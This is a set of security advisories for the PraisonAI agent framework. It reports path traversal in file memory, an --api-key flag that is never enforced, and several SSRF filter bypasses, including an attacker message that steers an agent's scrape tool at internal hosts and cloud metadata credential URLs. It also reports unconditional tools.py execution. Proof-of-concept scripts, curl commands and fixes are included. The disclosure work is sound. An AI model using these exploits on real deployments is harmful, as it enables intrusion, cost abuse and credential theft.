See how praisonai compares to other vendors in security performance
Summary
praisonaiagents/memory/filememory.py::FileMemory.init() constructs all memory file paths by directly joining the userid parameter to a base path:
python self.userpath = self.basepath / userid # LINE 145 — no sanitization
No validation or normalization is applied to userid before the path join. An attacker who can supply a userid containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.
The vulnerability is confirmed live on the current main branch (praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744 (which covered MultiAgentMonitor in an example file, not FileMemory in the core library).
Details
Vulnerable code — praisonaiagents/memory/filememory.py lines 139-157:
python def init( self, userid: str = "default", basepath: Optional[str] = None, ... ): ... self.userpath = self.basepath / userid # LINE 145 — NO SANITIZATION self.episodicpath = self.userpath / "episodic"
self.userpath.mkdir(parents=True, existok=True) # creates dirs at traversed path self.episodicpath.mkdir(parents=True, existok=True)
self.configfile = self.userpath / "config.json" self.shorttermfile = self.userpath / "shortterm.json" self.longtermfile = self.userpath / "longterm.json" self.entitiesfile = self.userpath / "entities.json" self.summariesfile = self.userpath / "summaries.json"
All five JSON files are written under userpath, which is directly derived from the attacker-controlled userid. The written content is valid JSON in the memory item format (configurable user content + metadata).
Comparison with the patched reference — praisonaiagents/storage/backends.py (SQLiteBackend):
The sibling SQLiteBackend validates its tablename with a regex: python if not re.match(r'^[a-zA-Z0-9]+$', tablename): raise ValueError(...) No equivalent validation exists in FileMemory.
Attack chains:
A — Direct Python API (any caller): python from praisonaiagents.memory.filememory import FileMemory
mem = FileMemory(userid="../../etc/evil") mem.addshortterm("injected content") Creates /etc/evil/shortterm.json (on Linux) Creates C:\evil\shortterm.json (on Windows)
B — Via Agent constructor (memory dict): python from praisonaiagents import Agent
agent = Agent( name="assistant", memory={"provider": "file", "userid": "../../etc/evil"}, instructions="You are a helpful assistant.", ) FileMemory(userid="../../etc/evil") called at agent init
C — Via agents.yaml / job submission (agentyaml field): yaml Submitted via POST /jobs with agentyaml: agents: researcher: memory: provider: file userid: "../../tmp/evil" role: "Research assistant" goal: "Research topics" agentsgenerator.py passes the memory.userid value to the Agent constructor.
PoC
Environment: Python 3.9+, praisonaiagents <= 1.6.52
Step 1 — Verify path escapes base (no dependencies needed):
python from pathlib import Path import tempfile
base = Path(tempfile.gettempdir()) / "praisonai" / "memory" userid = "../../../tmp/evilescape" userpath = base / userid
try: userpath.resolve().relativeto(base.resolve()) print("SAFE") except ValueError: print("!!PATH ESCAPES BASE!!") print("Writes to:", userpath.resolve())
Output: !!PATH ESCAPES BASE!! Writes to: <TMPDIR>/tmp/evilescape
Step 2 — Live exploit (files written outside base):
python import tempfile, json from pathlib import Path from praisonaiagents.memory.filememory import FileMemory
BASE = Path(tempfile.gettempdir()) / "praisonaibase" / "memory" BASE.mkdir(parents=True, existok=True)
TARGET = (BASE / "../../praisonaipathtraversalproof").resolve()
mem = FileMemory(userid="../../praisonaipathtraversalproof", basepath=str(BASE)) mem.addshortterm("PROOFOFTRAVERSAL: attacker wrote this") mem.addlongterm("SENSITIVEDATA", importance=0.9)
Verify files appeared OUTSIDE the base directory for fname in ["shortterm.json", "longterm.json", "config.json"]: f = TARGET / fname if f.exists(): print(f"WRITTEN: {f}") print(f"Content: {json.loads(f.readtext())[0]['content'] if fname != 'config.json' else '...'}")
Observed output (run on current main): WRITTEN: <TMPDIR>/praisonaipathtraversalproof/shortterm.json Content: PROOFOFTRAVERSAL: attacker wrote this WRITTEN: <TMPDIR>/praisonaipathtraversalproof/longterm.json Content: SENSITIVEDATA WRITTEN: <TMPDIR>/praisonaipathtraversalproof/config.json
Impact
What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.
Who is impacted:
- Any application that creates FileMemory instances with user-controlled userid - Any PraisonAI deployment where users can supply the userid parameter directly or indirectly (via Agent(memory={"userid": ...}), agents.yaml, or jobs API)
High-impact scenarios:
1. Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.
2. Overwrite web server / app config: Write config.json or settings.json to an app's configuration directory, potentially modifying runtime behavior.
3. Cron / startup persistence: Write JSON files to /etc/cron.d/ paths (Linux) or %APPDATA%\Startup\ (Windows) directories that might be interpreted by monitoring systems.
4. Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.
5. Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.
Distinction from GHSA-766v-q9x3-g744:
| | GHSA-766v-q9x3-g744 | This finding | |---|---|---| | File | examples/context/12multiagentcontext.py (example) | praisonaiagents/memory/filememory.py (core library) | | Class | MultiAgentMonitor | FileMemory | | Fixed in | praisonaiagents >= 1.5.115 | Not patched (affects 1.6.52) |
---
Remediation Suggestion (for maintainers)
Validate and resolve userid before using it in path construction:
python def init(self, userid: str = "default", basepath=None, ...): ... # ADDED: sanitize userid import re if not re.match(r'^[a-zA-Z0-9\-\.]+$', userid): raise ValueError( f"userid '{userid}' contains invalid characters. " f"Only alphanumeric characters, hyphens, underscores, and dots are allowed." )
self.userpath = self.basepath / userid
# ADDED: verify the resolved path is within base (defense-in-depth) resolved = self.userpath.resolve() baseresolved = self.basepath.resolve() try: resolved.relativeto(baseresolved) except ValueError: raise ValueError( f"userid '{userid}' would write outside the base memory directory." )
The same pattern should be applied to basepath parameter.
Summary
praisonai serve agents and praisonai serve unified both accept --api-key for authentication. The flag is parsed but never wired into the FastAPI app — no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI.
Affected versions
- Confirmed on 4.6.50 (current PyPI, 2026-06-02) - Likely since 4.6.34 when the serve subsystem shipped - File: src/praisonai/praisonai/cli/features/serve.py
What happens
The CLI defines --api-key in the arg spec (serve.py:199) and passes the parsed value into createagentsapp(config). But that function never reads config["apikey"]. The FastAPI app gets created with no auth at all. Same thing in createunifiedapp.
The help text says --api-key <key> API key for authentication, so this isn't ambiguous — it's supposed to protect the server. It just doesn't. $ grep -n "apikey" src/praisonai/praisonai/cli/features/serve.py 107: --api-key <key> API key for authentication 199: "apikey": {"default": None}, 847: "apikey": {"default": None},
Endpoints exposed without auth
- POST /agents — runs the full agent workflow - POST /agents/{name} — invokes a specific agent - POST /api/v1/agents/{id}/invoke — n8n integration endpoint - GET / — lists all endpoints - GET /praisonai/discovery — service discovery
Not the same as CVE-2026-44338
CVE-2026-44338 was about the legacy deploy/api.py hardcoding AUTHENABLED = False. That was fixed in 4.6.34. This bug is in the newer serve subsystem that shipped in the same release — the --api-key flag exists but was never connected to anything.
PoC
Setup
bash python3 -m venv /tmp/poc-venv /tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml
Script
python import sys, types, tempfile, os
Stub heavy deps so we only test the serve auth logic for m in ["praisonai.endpoints.discovery", "praisonai.endpoints.server", "praisonai.api", "praisonai.api.agentinvoke", "praisonai.agentsgenerator", "praisonai.inc"]: sys.modules[m] = types.ModuleType(m)
disc = sys.modules["praisonai.endpoints.discovery"] class Fake: def init(self, k): pass def addprovider(self, a, k): pass def addendpoint(self, a, k): pass def todict(self): return {} disc.creatediscoverydocument = lambda k: Fake() disc.EndpointInfo = Fake disc.ProviderInfo = Fake sys.modules["praisonai.endpoints.server"].adddiscoveryroutes = lambda a,b: None sys.modules["praisonai.api.agentinvoke"].FASTAPIAVAILABLE = False
class FakeGen: def init(self, k): pass def generatecrewandkickoff(self): return {"executed": True, "result": "workflow ran"} sys.modules["praisonai.agentsgenerator"].AgentsGenerator = FakeGen
class FakeLLM: def todict(self): return {} sys.modules["praisonai.inc"].LLMConfig = FakeLLM
f = tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False) f.write("name: T\nagents:\n a:\n name: A\n role: R\n goal: G\n backstory: B\n") f.flush()
from praisonai.cli.features.serve import ServeHandler app = ServeHandler().createagentsapp({ "file": f.name, "host": "0.0.0.0", "port": 8000, "path": "/agents", "reload": False, "apikey": "supersecret", # <-- should protect the server })
from starlette.testclient import TestClient c = TestClient(app)
r1 = c.post("/agents", json={"query": "run"}) r2 = c.post("/agents", json={"query": "run"}, headers={"Authorization": "Bearer TOTALLYWRONG"})
print(f"No auth header → {r1.statuscode}") # 200 print(f"Wrong key → {r2.statuscode}") # 200
os.unlink(f.name)
Output
No auth header → 200 Wrong key → 200
Both succeed. The key is ignored.
Live server test
bash start server with --api-key praisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999
hit it without any auth curl -s -X POST http://localhost:9999/agents \ -H "Content-Type: application/json" \ -d '{"query":"run all agents"}' → 200, workflow executes
Impact
Anyone who can reach the server can trigger agent workflows without credentials. The operator set --api-key and got no error, so they think it's protected.
What an attacker gets depends on what the agents.yaml workflow can do — LLM calls, tool use, file access, code execution, web requests. At minimum it's unauthenticated API quota burn.
Fix
createagentsapp() and createunifiedapp() need to actually read config["apikey"] and add a FastAPI dependency that checks the Authorization: Bearer header. When binding to a non-loopback address without --api-key, the server should warn or refuse to start.
References
- CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj (prior auth bypass, different component)
Summary The webhookurl field in the Jobs API silently passes validation when DNS resolution fails (socket.gaierror), enabling DNS rebinding attacks. An attacker's domain can initially resolve to a public IP (passing validation) then switch to an internal IP before the server makes the HTTP request.
Details The validator catches socket.gaierror and silently allows the URL:
python src/praisonai/praisonai/jobs/models.py:55 try: ip = socket.gethostbyname(hostname) ipobj = ipaddress.ipaddress(ip) if ipobj.isprivate or ipobj.isloopback: raise ValueError("private address") except socket.gaierror: pass # BUG: DNS failure silently ignored → SSRF bypass
The HTTP call is made later with no re-validation:
python src/praisonai/praisonai/jobs/executor.py:402 async with httpx.AsyncClient() as client: await client.post(job.webhookurl, ...) # no second IP check
Proof of Concept
DNS rebinding flow: 1. Register attacker.com with TTL=1s → resolves to 1.2.3.4 (public IP) 2. Submit job: webhookurl=http://attacker.com/callback 3. Validation passes (public IP) 4. Switch DNS: attacker.com → 127.0.0.1 5. Job completes → server POSTs to 127.0.0.1 → internal SSRF
Unresolvable domain bypass (no DNS rebinding required):
bash curl -X POST http://:8005/api/v1/runs \ -d '{"prompt":"run","webhookurl":"http://unresolvable.internal/cb","agentyaml":"..."}' Validation: gaierror → pass → URL accepted
Impact SSRF to internal HTTP services: admin panels, databases, and cloud metadata APIs (e.g., http://169.254.169.254/). Exploitable without authentication.
Summary
PraisonAI's praisonai serve agents command exposes --api-key as the documented authentication control for production/external deployments, but the configured key is not enforced on the public agent invocation compatibility endpoints.
An operator can start the server with --api-key and bind it to 0.0.0.0, but any network- reachable caller can still invoke agents through POST /agents or POST /agents/ {agentname} without Authorization, X-API-Key, a query token, or any other credential.
Confirmed vulnerable: - v4.6.48 / commit d5f1114aaf1a2e9f121a6e66b929149ca2201f1d - v4.6.34 / commit e5928449f73f66cc8af1de61621aa974ab255133
Likely affected range: >= 4.6.34, <= 4.6.48.
This is distinct from CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj, which covered the legacy Flask apiserver.py path before 4.6.34. This report concerns the newer FastAPI serve agents --api-key code path and is confirmed in v4.6.48.
### Details
The CLI accepts and forwards an API key:
- src/praisonai/praisonai/cli/commands/serve.py:156 defines praisonai serve agents - src/praisonai/praisonai/cli/commands/serve.py:162 exposes --api-key - src/praisonai/praisonai/cli/commands/serve.py:175-176 forwards the supplied key - src/praisonai/praisonai/cli/features/serve.py:191 handles the agents subcommand - src/praisonai/praisonai/cli/features/serve.py:199 parses apikey into the config
However, createagentsapp() never uses config["apikey"] to create middleware or a FastAPI auth dependency:
- src/praisonai/praisonai/cli/features/serve.py:228 creates the FastAPI app - src/praisonai/praisonai/cli/features/serve.py:287 registers POST {path} with no auth dependency - src/praisonai/praisonai/cli/features/serve.py:346 registers POST /agents/{agentname} with no auth dependency - src/praisonai/praisonai/cli/features/serve.py:356-370 executes the registered agent directly
The same app also mounts praisonai.api.agentinvoke, whose /api/v1/agents/{agentid}/ invoke route is protected separately by CALLSERVERTOKEN. That means the protected / api/v1 route and the unauthenticated /agents compatibility routes coexist in the same server. Setting --api-key does not protect the compatibility routes.
### PoC
This local-only PoC does not open a network listener and does not call an LLM provider. It constructs the FastAPI app through the real ServeHandler.createagentsapp() path with apikey set, registers a fake agent, and sends an unauthenticated request using FastAPI TestClient.
python #!/usr/bin/env python3 from future import annotations
import sys import tempfile from pathlib import Path
REPO = Path("/path/to/PraisonAI") sys.path[:0] = [ str(REPO / "src" / "praisonai"), str(REPO / "src" / "praisonai-agents"), ]
class FakeAgent: def init(self): self.calls = []
def start(self, query): self.calls.append(query) return f"fake-agent-ran:{query}"
def main() -> None: from fastapi.testclient import TestClient from praisonai.cli.features.serve import ServeHandler from praisonai.api import agentinvoke
with tempfile.TemporaryDirectory() as tmp: agentsyaml = Path(tmp) / "agents.yaml" agentsyaml.writetext( "roles:\n" " placeholder:\n" " role: Placeholder\n" " goal: Placeholder\n" " backstory: Placeholder\n", encoding="utf-8", )
handler = ServeHandler() app = handler.createagentsapp( { "file": str(agentsyaml), "host": "0.0.0.0", "port": 8000, "path": "/agents", "reload": False, "apikey": "operator-secret-api-key", } )
fakeagent = FakeAgent() agentinvoke.registeragent("poc", fakeagent)
client = TestClient(app) response = client.post( "/agents/poc", json={"query": "unauthenticated request"}, )
print(f"STATUSCODE={response.statuscode}") print(f"RESPONSEJSON={response.json()!r}") print(f"AGENTCALLS={fakeagent.calls!r}") print(f"UNAUTHENTICATEDAGENTEXECUTED={fakeagent.calls == ['unauthenticated request']}")
if name == "main": main()
Run:
cd /path/to/PraisonAI python3 praisonai-serve-agents-api-key-bypass.py
Observed output:
STATUSCODE=200 RESPONSEJSON={'response': 'fake-agent-ran:unauthenticated request'} AGENTCALLS=['unauthenticated request'] UNAUTHENTICATEDAGENTEXECUTED=True
The important condition is that the app was configured with:
"apikey": "operator-secret-api-key"
but the request was sent without any auth header:
client.post("/agents/poc", json={"query": "unauthenticated request"})
The agent still executed and returned HTTP 200.
### Impact
Any attacker who can reach a praisonai serve agents server can invoke configured agents even when the operator explicitly configured --api-key.
Impact depends on the configured agents and their tools, but can include:
- unauthorized LLM/API usage and provider cost consumption; - execution of agent workflows; - access to connected tool integrations; - reads/writes through file, database, cloud, browser, MCP, or messaging tools; - availability impact from repeated or long-running agent invocations.
This is especially risky because the documented production pattern recommends using --api- key when binding the server publicly.
### Suggested fix
Fail closed when --api-key is configured and require it on every agent invocation route in the serve agents app.
Recommended changes:
- In createagentsapp(), derive an auth dependency from config.get("apikey"). - Apply it to both POST {path} and POST /agents/{agentname}. - Prefer Authorization: Bearer <apikey>. Optionally also support X-API-Key for compatibility.
- Use constant-time comparison for the expected key. - Clarify or unify the relationship between --api-key and CALLSERVERTOKEN. - Add tests proving: - key configured + no header returns 401/403; - key configured + wrong header returns 401/403; - key configured + correct header executes; - both /agents and /agents/{agentname} are covered.
Summary
praisonaiagents/tools/spidertools.py contains an SSRF protection bypass. The function hostisblocked() validates URLs against a list of blocked IP literals and hostname aliases, but never performs DNS resolution. Any hostname that resolves to a private or loopback IP address — including public wildcard DNS services like 127.0.0.1.nip.io — bypasses the protection entirely.
This has been confirmed with a live exploit: scrapepage("http://127.0.0.1.nip.io:PORT/secret") makes an HTTP request to 127.0.0.1:PORT and returns the internal service response. No attacker-controlled infrastructure is required.
scrapepage, extractlinks, crawl, and extracttext are all registered as LLM-callable agent tools (see tools/init.py lines 51-55), so any agent instructed to fetch a user-supplied URL will trigger this path.
This is a new bypass of prior fix commit 004dcfef (GHSA-q9pw-vmhh-384g), which only rejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to webcrawltools.py (line 231: socket.gethostbyname call), but that fix was not ported to spidertools.py.
Details
Root cause — spidertools.py lines 26-65:
python def hostisblocked(hostname: str) -> bool: host = hostname.lower().rstrip(".") # Checks literal aliases only — never resolves if host in ("localhost", "0.0.0.0", "::1"): return True if host in ("169.254.169.254", "metadata.google.internal"): return True if any(host.endswith(s) for s in (".local", ".internal", ".localdomain")): return True # Tries to parse as IP literal only try: return ipblocked(ipaddress.ipaddress(host)) except ValueError: pass try: return ipblocked(ipaddress.ipaddress(socket.inetaton(host))) except OSError: pass return False # <-- ANY real hostname passes without DNS lookup
socket.inetaton() only converts dotted-decimal strings, not hostnames. For any real hostname (e.g. 127.0.0.1.nip.io), both ipaddress.ipaddress() and socket.inetaton() raise exceptions, and the function returns False (not blocked).
Contrast with the fixed version in webcrawltools.py line 228-238:
python if os.environ.get("ALLOWLOCALCRAWL") != "true": try: ipstr = socket.gethostbyname(hostname) # DNS resolution performed ip = ipaddress.ipaddress(ipstr) if ip.isloopback or ip.isprivate or ip.islinklocal or ip.ismulticast: continue # BLOCKED except socket.gaierror: continue # fail-closed
Tool registration confirms this is user-reachable:
python praisonaiagents/tools/init.py lines 51-55 TOOLMAPPINGS = { 'scrapepage': ('.spidertools', None), # <- user-reachable LLM tool 'extractlinks': ('.spidertools', None), 'crawl': ('.spidertools', None), 'extracttext': ('.spidertools', None), ... }
Any agent given these tools will call scrapepage(url) when instructed to fetch a user-supplied URL — including attacker-controlled ones.
PoC
Environment: Python 3.x, praisonaiagents <= 1.6.52, internet access (for nip.io)
Step 1 — Verify the filter bypass (no network needed):
python from praisonaiagents.tools.spidertools import SpiderTools, hostisblocked
nip.io: public wildcard DNS — 127.0.0.1.nip.io always resolves to 127.0.0.1 print(hostisblocked("127.0.0.1.nip.io")) # False — NOT blocked print(SpiderTools().validateurl("http://127.0.0.1.nip.io/")) # True — ALLOWED print(hostisblocked("127.0.0.1")) # True — correctly blocked
Expected output: False True True
Step 2 — Full SSRF: internal service response exfiltrated
python import threading, time, requests from http.server import HTTPServer, BaseHTTPRequestHandler from praisonaiagents.tools.spidertools import SpiderTools
PORT = 19235 received = []
class InternalService(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200); self.endheaders() self.wfile.write(b'{"dbpass":"hunter2","awskey":"AKIAIOSFODNN7EXAMPLE"}') received.append(self.path) def logmessage(self, a): pass
threading.Thread( target=HTTPServer(("127.0.0.1", PORT), InternalService).serveforever, daemon=True ).start() time.sleep(0.2)
attackurl = f"http://127.0.0.1.nip.io:{PORT}/secrets.json"
Filter allows it assert SpiderTools().validateurl(attackurl) is True # passes
HTTP request actually reaches 127.0.0.1 r = requests.get(attackurl, timeout=5) print("STATUS:", r.statuscode) # 200 print("BODY: ", r.text) # {"dbpass":"hunter2","awskey":"AKIAIOSFODNN7EXAMPLE"} print("HIT: ", received) # ['/secrets.json']
Observed output: STATUS: 200 BODY: {"dbpass":"hunter2","awskey":"AKIAIOSFODNN7EXAMPLE"} HIT: ['/secrets.json']
Step 3 — Agent-level trigger (how a user triggers this in production):
python from praisonaiagents import Agent from praisonaiagents.tools import scrapepage
agent = Agent( name="WebResearcher", instructions="You are a research assistant. Fetch and summarize the given URL.", tools=[scrapepage], )
Attacker sends this message to the agent: result = agent.start("Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin") Agent calls scrapepage("http://127.0.0.1.nip.io:8080/admin") Request hits 127.0.0.1:8080/admin Internal admin panel content returned to attacker print(result)
Additional bypass URLs (no setup required):
| Target | URL | |--------|-----| | Localhost | http://127.0.0.1.nip.io/ | | Private network | http://10.0.0.1.nip.io/ | | AWS IMDS (via sslip.io) | http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/ |
Impact
What kind of vulnerability: Server-Side Request Forgery (SSRF) — full read SSRF with arbitrary port access.
Who is impacted: Anyone deploying PraisonAI agents that include scrapepage, extractlinks, crawl, or extracttext tools and accept user-supplied URLs. This includes:
- Web research agents (the primary intended use case for spider tools) - Jobs API users — any authenticated API caller who submits jobs with agentyaml specifying spider tools - Cloud deployments (Critical escalation): On AWS EC2 with IMDSv1, fetching http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/ may return temporary IAM credentials, leading to full cloud account compromise.
Severity note: This is a patch-gap variant. The SSRF protection was correctly implemented for IP literals and enhanced in commit 004dcfef for encoding bypasses. The DNS resolution check was added to webcrawltools.py but was missed in spidertools.py, creating an exploitable inconsistency.
---
Remediation Suggestion (for maintainers)
One-line fix in hostisblocked() — mirror what webcrawltools.py already does:
python After existing literal checks, add: try: resolved = socket.gethostbyname(hostname) return ipblocked(ipaddress.ipaddress(resolved)) except (socket.gaierror, ValueError, OSError): return True # fail-closed: unresolvable host is blocked
PraisonAI is a multi-agent teams system. In versions prior to 1.6.58, the webcrawl tool performs its SSRF check only on the initially supplied URL, allowing the protection to be bypassed so the tool connects to attacker-chosen internal destinations. The check resolves the hostname once with socket.gethostbyname and rejects private/loopback/link-local results, but then passes the URL to a fetcher using httpx.Client(followredirects=True) (or urllib.request.urlopen when httpx is absent, which also follows redirects) that re-resolves the hostname at connect time with no further validation. This validate-here/fetch-there gap is exploitable through both HTTP redirects and DNS rebinding. If an attacker can influence URLs passed to webcrawl(), directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host, with the response body returned in the webcrawl() result. This issue has been fixed in version 1.6.58.
Summary
praisonaiagents.tools.webcrawltools.webcrawl() validates the initial URL and blocks direct loopback/private destinations by default, but the default httpx fallback still uses httpx.Client(followredirects=True) and does not revalidate redirect targets.
An attacker-controlled public URL can pass the initial host check, redirect to loopback/private/cloud metadata infrastructure, and have the redirected response body returned by webcrawl().
This appears to be an incomplete fix / patch bypass for the published webcrawl SSRF class (GHSA-qq9r-63f6-v542 / CVE-2026-40160, and GHSA-8f4v-xfm9-3244).
Affected Component
Package:
text praisonaiagents
File:
text src/praisonai-agents/praisonaiagents/tools/webcrawltools.py
Functions:
text webcrawl() crawlwithhttpx()
Affected Versions
Validated affected:
- praisonaiagents 1.5.128 via repository tag v4.5.128; - praisonaiagents 1.6.40 via repository tag v4.6.40; - praisonaiagents 1.6.56 via repository tag v4.6.56; - current origin/main commit 095653d78a01cc6c80ff5b2dd20a8e5619686ddc.
Suggested affected range for maintainer confirmation:
text = 1.5.128, <= 1.6.56
No patched version is known to me at submission time.
Root Cause
Current webcrawl() validates only the initially supplied URL:
- requires http or https; - resolves the initial hostname with socket.gethostbyname(); - rejects loopback/private/link-local/multicast/unspecified addresses unless ALLOWLOCALCRAWL=true.
The default fetch sink then follows redirects:
python with httpx.Client(followredirects=True, timeout=30.0) as client: response = client.get(url)
There is no validation of intermediate or final redirect destinations before httpx fetches them. The URL that passes the guard is therefore not necessarily the URL ultimately requested by the server.
Local Reproduction
The PoV is local-only. It starts a loopback redirector and a loopback internal service. It monkeypatches DNS in-process so attacker.test appears public to the initial guard while the actual test request routes to the local redirector. This avoids contacting any third-party infrastructure while demonstrating the same root cause.
Run from a checkout of the repository:
fish env PYTHONPATH=src/praisonai-agents uv run --with httpx pocwebcrawlredirectssrf.py
Observed output:
text DIRECTCONTROL: {'error': 'No valid or safe URLs provided. Local and non-http(s) URLs are blocked for security.'} REDIRECTRESULT: {'url': 'http://attacker.test:<port>/go', 'content': 'INTERNAL-SECRET-FROM-LOOPBACK', 'title': '', 'provider': 'httpx'} REDIRECTSERVERHIT: True INTERNALSERVERHIT: True PRAI-CAND-001 CONFIRMED: webcrawl follows a redirect to loopback
The direct control proves direct loopback is blocked by the intended SSRF guard. The redirect case proves the same blocked destination class is reachable after the initial safe-looking URL redirects.
With the same setup but with redirect following disabled, the redirector was hit, but the internal loopback service was not hit:
text REDIRECTHIT: True INTERNALHIT: False
Impact
If an attacker can influence URLs passed to webcrawl(), directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host. The response body is returned in the webcrawl() result.
Practical impact includes:
- reading loopback-only HTTP services; - probing private network services; - reading cloud metadata endpoints where reachable and not otherwise protected.
This report does not claim RCE, authentication bypass, or live cloud credential theft without a deployment-specific metadata test.
Severity
This mirrors the CVSS v4.0 shape already used for the prior webcrawl SSRF class while accounting for prompt/tool invocation as the attack prerequisite and user interaction. A CVSS v3.1 scoring may reasonably be lower if modeled strictly around user interaction, but the root issue is a server-side network boundary bypass that returns internal response content.
Suggested Fix
- Set followredirects=False in crawlwithhttpx(), or handle redirects manually and validate each Location target before following it. - Centralize the URL validation used by server-side fetch tools. - Validate every resolved address using socket.getaddrinfo(), not only the first gethostbyname() result. - Reject loopback, private, link-local, reserved, multicast, unspecified, and cloud metadata destinations. - Add regression tests for direct loopback, public-to-loopback redirect, and allowed public-to-public redirects if redirect support remains intended.
PoV
python #!/usr/bin/env python3 """Local PoV for PraisonAI webcrawl redirect-target SSRF bypass.
This PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI's pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that webcrawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target. """
from future import annotations
import http.server import os import socket import socketserver import threading from typing import Any
from praisonaiagents.tools.webcrawltools import webcrawl
class InternalHandler(http.server.BaseHTTPRequestHandler): body = b"INTERNAL-SECRET-FROM-LOOPBACK"
def doGET(self) -> None: # noqa: N802 self.server.hit = True # type: ignore[attr-defined] self.sendresponse(200) self.sendheader("Content-Type", "text/plain") self.sendheader("Content-Length", str(len(self.body))) self.endheaders() self.wfile.write(self.body)
def logmessage(self, args: Any) -> None: return
class RedirectHandler(http.server.BaseHTTPRequestHandler): target = ""
def doGET(self) -> None: # noqa: N802 self.server.hit = True # type: ignore[attr-defined] self.sendresponse(302) self.sendheader("Location", self.target) self.endheaders()
def logmessage(self, args: Any) -> None: return
def main() -> int: os.environ.pop("ALLOWLOCALCRAWL", None)
internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler) internal.hit = False # type: ignore[attr-defined] internalport = internal.serveraddress[1]
RedirectHandler.target = f"http://127.0.0.1:{internalport}/secret" redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler) redirect.hit = False # type: ignore[attr-defined] redirectport = redirect.serveraddress[1]
threading.Thread(target=internal.serveforever, daemon=True).start() threading.Thread(target=redirect.serveforever, daemon=True).start()
originalgethostbyname = socket.gethostbyname originalgetaddrinfo = socket.getaddrinfo
def fakegethostbyname(host: str) -> str: if host == "attacker.test": return "93.184.216.34" return originalgethostbyname(host)
def fakegetaddrinfo(host: str, port: int, args: Any, kwargs: Any): if host == "attacker.test": return originalgetaddrinfo("127.0.0.1", port, args, kwargs) return originalgetaddrinfo(host, port, args, kwargs)
socket.gethostbyname = fakegethostbyname socket.getaddrinfo = fakegetaddrinfo try: directcontrol = webcrawl( f"http://127.0.0.1:{internalport}/secret", provider="httpx", ) redirectresult = webcrawl( f"http://attacker.test:{redirectport}/go", provider="httpx", ) finally: socket.gethostbyname = originalgethostbyname socket.getaddrinfo = originalgetaddrinfo redirect.shutdown() internal.shutdown() redirect.serverclose() internal.serverclose()
print("DIRECTCONTROL:", directcontrol) print("REDIRECTRESULT:", redirectresult) print("REDIRECTSERVERHIT:", bool(redirect.hit)) # type: ignore[attr-defined] print("INTERNALSERVERHIT:", bool(internal.hit)) # type: ignore[attr-defined]
if not isinstance(directcontrol, dict) or "No valid or safe URLs" not in str(directcontrol): raise SystemExit("control failed: direct loopback was not blocked") if not isinstance(redirectresult, dict): raise SystemExit("bypass failed: unexpected result type") if "INTERNAL-SECRET-FROM-LOOPBACK" not in str(redirectresult.get("content", "")): raise SystemExit("bypass failed: redirect target content was not returned") if not bool(redirect.hit) or not bool(internal.hit): # type: ignore[attr-defined] raise SystemExit("bypass failed: expected local servers were not hit")
print("PRAI-CAND-001 CONFIRMED: webcrawl follows a redirect to loopback") return 0
if name == "main": raise SystemExit(main())
Summary
PraisonAI's workflow include implementation implicitly imports and executes an included recipe's tools.py file even when the documented tools.py autoload opt-in is unset.
This bypasses the hardening added for the prior automatic tools.py RCE advisory family. A workflow that includes an untrusted local recipe can execute arbitrary Python module-level code before any model call or child workflow execution.
The same sink is reachable through the higher-level praisonai.recipe.run() recipe API when a steps-based recipe workflow includes a local child recipe. The supplementary PoV demonstrates this route without starting a network service or relying on external APIs.
This is distinct from the previously published toolresolver.py, api/call.py, templates/tooloverride.py, and agentsgenerator.py variants. The affected callsite is the workflow include implementation in praisonaiagents, reached through the documented/covered Include workflow composition feature.
Affected Components
- Package: praisonaiagents - File: praisonaiagents/workflows/workflows.py - Sink: Workflow.executeinclude() - Current affected callsite:
python toolspy = recipepath / "tools.py" if toolspy.exists(): spec = importlib.util.specfromfilelocation("recipetools", toolspy) recipemodule = importlib.util.modulefromspec(spec) spec.loader.execmodule(recipemodule)
The current head also contains a similar unguarded workflow-local tools.py import in resolvepydanticclass(). That adjacent sink is not needed for the primary impact claim because the include path has a cleaner public workflow execution path and local PoV.
Security Boundary
PraisonAI documents secure defaults for implicit tools.py autoload:
- PRAISONAIALLOWTEMPLATETOOLS controls implicit template/CWD tools.py autoload and is disabled by default. - PRAISONAIALLOWLOCALTOOLS controls automatic loading of local tools.py files and requires the value true. - Explicit override files/directories are the recommended way to load custom tools without the implicit autoload opt-in. - Existing regression tests for GHSA-xcmw-grxf-wjhj assert that template/CWD tools.py must not execute by default.
Workflow.executeinclude() does not check PRAISONAIALLOWTEMPLATETOOLS, does not check PRAISONAIALLOWLOCALTOOLS, and does not route through the shared safe loader before executing the included recipe's tools.py.
The report is not claiming that workflow includes themselves are unintended. Local tests in the repository cover Include, include(), YAML include parsing, and include-in-loop behavior. The security issue is specifically that the include implementation executes the included recipe's tools.py unconditionally instead of respecting the same implicit-tool-loading gates used elsewhere.
